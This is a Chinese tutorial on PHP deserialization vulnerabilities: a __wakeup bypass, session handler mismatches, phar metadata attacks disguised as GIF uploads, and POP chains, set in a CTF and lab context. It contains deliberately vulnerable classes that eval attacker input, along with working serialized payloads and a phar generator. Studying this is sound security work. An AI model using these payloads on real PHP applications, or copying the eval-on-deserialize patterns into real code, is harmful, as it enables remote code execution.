反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()

文章目录

  • 一、漏洞简述php反序列化漏洞又称对象注入
  • 二、漏洞利用过程
      • (1) 一个简单的例子`__destruct()`中存在eval操作
      • (2) 一个简单的例子`__wakeup()`中存在读写操作
      • (3) 绕过__wakeup()的限制
  • 三、Session反序列化漏洞
      • (1) Session序列化机制
          • PHP处理器的三种序列化方式:
          • 配置文件 php.ini 的说明
          • 一个简单的存取过程演示
      • (2) PHP Session中的序列化危害
          • 一个简单的漏洞利用演示
          • 两道get flag题
  • 四、phar (PHP Archive) 伪协议触发php反序列化
      • (1)什么是phar文件
      • (2) 反序列化问题
      • (3) 将phar伪造成其他格式的文件
      • (4) 漏洞利用的条件总结
  • 五、反序列化与POP CHAIN的构造

一、漏洞简述php反序列化漏洞又称对象注入

原理:在php反序列化的时候,反序列化的内容可控,那么恶意用户就可以构造特定序列化内容的代码,通过反序列化接口进行反序列化时,自动执行魔法函数,若魔法函数中存在危险操作或调用危险操作。则构成反序列化漏洞。

魔法函数:会自动调用

__construct()  当一个对象创建时被调用               (反序列化时触发)

__destruct()  当一个对象销毁时被调用		            (程序结束,对象销毁,触发)
	
__toString()  当一个对象被当作一个字符串使用            (echo时触发)

__sleep()      在对象在被序列化之前自动调用

__wakeup     在序列化之后自动被调用

如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。

如果 __wakeup()或者 __desturct() 有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

反序列化漏洞的发掘过程


二、漏洞利用过程

(1) 一个简单的例子__destruct()中存在eval操作

eg 1:一个简单的例子__destruct()中存在eval操作


class A
{
	public  $test = a;
	public function __destruct()
	{
		echo "__destruct函数执行后";		
        //存在危险函数
		@eval($this->test);
	}
}
$b = $_GET[cmd];
$len=strlen($_GET[cmd])+1;
$d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";
$c = unserialize($d);
echo $c->test . "
"
; ?>

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第1张图片

(2) 一个简单的例子__wakeup()中存在读写操作

eg 2:一个简单的例子__wakeup()中存在读写操作


class T
{
	public $test = 'is test';
	public function __wakeup()
	{
		echo "step2/ 反序列化时__wakeup()函数执行
"
; $fp = fopen("a.php","w"); fwrite($fp,$this->test); fclose($fp); } } $obj_str = $_GET['a']; echo "step1/ 传入: " . $obj_str ."

"
; $obj = unserialize($obj_str); //显示 require "a.php"; ?>

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第2张图片

(3) 绕过__wakeup()的限制

参考大神 twosmi1e的文章

何时使用: __wakeup() 方法中设置反序列化后的属性值,绕过它使属性再次可控。
.
cve编号:cve-2016-7124
.
影响版本: PHP5 < 5.6.25
.
漏洞简述: 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

eg1 .一个小示例

 
    error_reporting(0);
    class T{
        public $key = 'lalalalla';
		
		// 检测是否绕过
        public function __destruct(){
            if(!empty($this->key)){
                if($this->key == 'lalalalla')
                    echo '成功绕过';
            }
        }
		
		//有__wakeup()改变属性值
        public function __wakeup(){
            $this->key = '失败,没有绕过   ';
            echo $this->key;
        }
		
        public function __toString(){
            return '';
        }
    }

$obj_str = $_GET['answer'];
echo "传入的参数: " . $obj_str;
echo '


'
; echo unserialize($obj_str); ?>

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第3张图片

eg2 . 看一道拿flag的

 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){ 
    if(!empty($this->file)) {
      // 过滤会退符号
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        //会读取file文件内容,我们需要利用这里来读flag.php
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  
  //__wakeup方法写死file属性
  function __wakeup(){
   $this-> file='index.php';
  } 
  public function __toString(){
    return '' ;
  }
}
    
if (!isset($_GET['file'])){ 
  show_source('index.php');
}
else{ 
  $file=base64_decode($_GET['file']); 
  echo unserialize($file); 
}
 ?> #
【思路】
 目的是去读取flag.php的内容
	    1. 先构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}
	    2. 绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}
	    3. 因为file是protect属性,所以需要加上\00*\00。再base64编码。
	    

payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==


三、Session反序列化漏洞

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第4张图片

(1) Session序列化机制

参考spoock大佬的文章

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 的数据,都会对数据进行序列化和反序列化。

session_start()被调用或者php.ini中session.auto_start=1时,PHP内部调用会话处理器,对用户session序列化,然后存储到指定目录(默认为/tmp)。

PHP处理器的三种序列化方式:

不同的处理器所对应的session的存储方式不相同。

  • php_binary 存储方式为: 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php 存储方式为 :键名 | 经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4的版本才可用) 存储方式为 : 经过serialize()函数序列化处理的值

eg1 . 三种处理器序列化后的数据对比

/*session.php*/


ini_set('session.serialize_handler','php_serialize');  //分别设置为不同的处理器
session_start();

$_SESSION['name'] = $_GET['name'];

?>
访问     http://192.168.44.129/session.php?name=tom
  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第5张图片
配置文件 php.ini 的说明

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第6张图片

一个简单的存取过程演示

存储和取回 session 变量的正确方法是使用 $_SESSION 变量:

【session.php】


// session.php   用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>

【print.php】


//用于输出session页面

ini_set('session.serialize_handler','php_serialize');
session_start();
echo "当前session为:";
print_r($_SESSION['name']);
?>

1. 首先访问session.php,$_SESSION变量接受参数,然用php_serialize处理器序列化后存放在session指定的存储路径

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第7张图片
    反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第8张图片

.
2. 访问 print.php , 使用php_serialize处理器反序列化session文件后输出

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第9张图片

(2) PHP Session中的序列化危害

简述:程序员设计Session存储不当而引起的。

利用前提:可以构造传入session。 序列化和反序列化的处理器不一样。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化(因为三种处理器的存储格式不同)。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。

一个简单的漏洞利用演示

【session.php】


// session.php   用于存储session的页面
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = $_GET['name'];
echo "存储的seesion为:";
print_r($_SESSION);
?>

【attack.php】


//存在漏洞的页面


ini_set('session.serialize_handler','php');
session_start();

class TEST{
    public  $a;

    function __destruct()
	{
		echo "
------------反序列化session后------
"
; @eval($this->a); } } echo "当前session为:" . $_SESSION['name'] . "
"
; ?>

漏洞成因因为序列化和反序列化时的处理器不一样。php处理器会把 |后的值当作KEY值再反序列化,攻击者可以利用这点,进行构造攻击

1. 首先访问session.php生成session
?name=|O:4:"TEST":1:{s:1:"a";s:10:"phpinfo();";}

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第10张图片
    反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第11张图片

.
2. 访问attack.php

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第12张图片
两道get flag题

https://www.anquanke.com/post/id/159206#h3-8

https://xz.aliyun.com/t/3674#toc-11

session.upload_progress.enabled=On时。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。


四、phar (PHP Archive) 伪协议触发php反序列化

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第13张图片

利用 phar 拓展 php 反序列化漏洞攻击面

(1)什么是phar文件

phar文件:PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。

  • 简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且能被 php 的伪协议phar:// 执行
  • 所有PHAR文件都使用 .phar 作为文件扩展名

phar结构由 4 部分组

  • stub : phar 文件标识,格式为 xxx
  • manifest : 压缩文件的属性等信息,以序列化存储;
  • contents : 压缩文件的内容;
  • signature : 签名,放在文件末尾;

php内置了一个Phar类来处理相关操作:`

  • 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
    官方文档的说明

反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第14张图片

(2) 反序列化问题

哪里存在序列化和反序列化

  • 被压缩文件的权限、属性等信息都放在manifest部分。这部分还会以序列化的形式存储用户自定义的meta-data(元数据),这是漏洞利用的核心部分。对应phar类的方法是Phar::setMetadata=>设置phar归档元数据

  • php的大部分操作文件函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
    反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第15张图片

(3) 将phar伪造成其他格式的文件

php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件来绕过文件上传的检测。

各种文件头

类型 标识
JPEG 头标识ff d8 ,结束标识ff d9
JPEG 头标识ff d8 ,结束标识ff d9
PNG 头标识89 50 4E 47 0D 0A 1A 0A
GIF 头标识(6 bytes) GIF89(7)a
BMP 头标识(2 bytes) 42 4D BM
$phar -> setStub('GIF89a'.'');  //设置stub,增加gif文件头

eg . 一个实列

【phar_make.php】


class TEST{
    public $a;
}

$obj = new TEST();
$obj -> a= 'phpinfo();';

$phar = new Phar('attack.phar'); // 后缀必须为phar否则程序无法运行,  使用phar的__constrct方法
$phar -> startBuffering();       //开始缓冲Phar写操作
$phar -> setStub('GIF89a'.'');  //设置stub,增加gif文件头
$phar -> addFromString('test.txt','test');    //以字符串的形式添加一个文件到 phar 档案
$phar -> setMetadata($obj);     漏洞关键点 //将自定义meta-data存入manifest
$phar -> stopBuffering();          //停止缓冲对Phar存档的写请求,并将更改保存到磁盘

?>

【phar_use.php】


$filename=$_GET['filename'];

class TEST{
    public $a;
    public function __destruct()
    {
        eval($this ->a);
    }
}
file_get_contents($filename);   //用文件操作函数结合phar伪协议去读phar文件

?>

1.访问phar_make.php, 生成attack.phar
使用winhex查看文件内容

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第16张图片

.
2. 访问phar_use.php,结合phar伪协议去打开attack.phar文件
http://192.168.44.129/phar_use.php?filename=phar://attack.phar/test.txt

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第17张图片

.


【绕过文件上传】

1. 发现phar_use.php的源码中,发现可以使用操作文件函数,且类中方法存在危险函数
上传处限制.phar 文件, 修改后缀上传绕过 attack.gif
.
2.结合phar:// 伪协议访问 attack.gif

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第18张图片

(4) 漏洞利用的条件总结

  • phar文件要能够上传到服务器端。
  • 要有可用的魔术方法作为 “ 跳板 ”,且存在危险函数。
  • 文件操作函数的参数可控,且 ://phar 等特殊字符没有被过滤。

phar在反序列化漏洞利用中的意义
该方法在文件系统函数参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

参考文章
https://paper.seebug.org/680/#0x01
PHP反序列化入门之phar


五、反序列化与POP CHAIN的构造

pop(property-oriented programing)面向属性编程

何时构造:正常的反序列化漏洞多为利用魔法函数自自动调用而触发,若敏感函数(危险函数等)不在魔法函数中,而为类的普通方法中。若存在相同的方法名,此时可以将存在魔法函数的类的属性和敏感函数的属性联系在一起

.
如何实现:在反序列化的参数可控时,传入的序列化描述字符中的属性的值为敏感函数的对象的序列化描述字符。

eg 1 一个实列

【分析和源码】

//pop_chain.php



class TEST{
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new safe();
    }
    function __destruct() {
        $this->ClassObj->action();   // 可利用的原因点
    }}
	
class safe{
    function action() {
        echo "Here is safe";
    }}
		
class unsafe{
    private $data;
    function action() {
	   echo "执行了unsafe中的action方法";    
       eval($this->data);
    }}
	
unserialize($_GET['test']);

?>
【分析】
	TEST中存在魔法函数,但并不存在危险函数。TEST类和unsafe类中都存在action方法名
	危险函数在unsafe类中存在
	
-->反序列化参数可控   通过构造pop chain,控制$ClassObj属性去执行unsafe类中的action方

【步骤】
1. 首先构造出pop chain的序列化字符串
反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第19张图片

因为存在protected属性,最后要url编码

O:4:"TEST":1:{s:11:"*ClassObj";O:6:"unsafe":1:{s:12:"unsafedata";s:10:"phpinfo();";}}

O%3A4%3A%22TEST%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

2. 访问pop_chain.php 并传参

  • 反序列化漏洞 (2)------php 反序列化漏洞 ----- session反序列化问题,phar,pop,绕过__wakeup()_第20张图片

更深的文章
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
https://xz.aliyun.com/t/3674#toc-13

你可能感兴趣的:(php)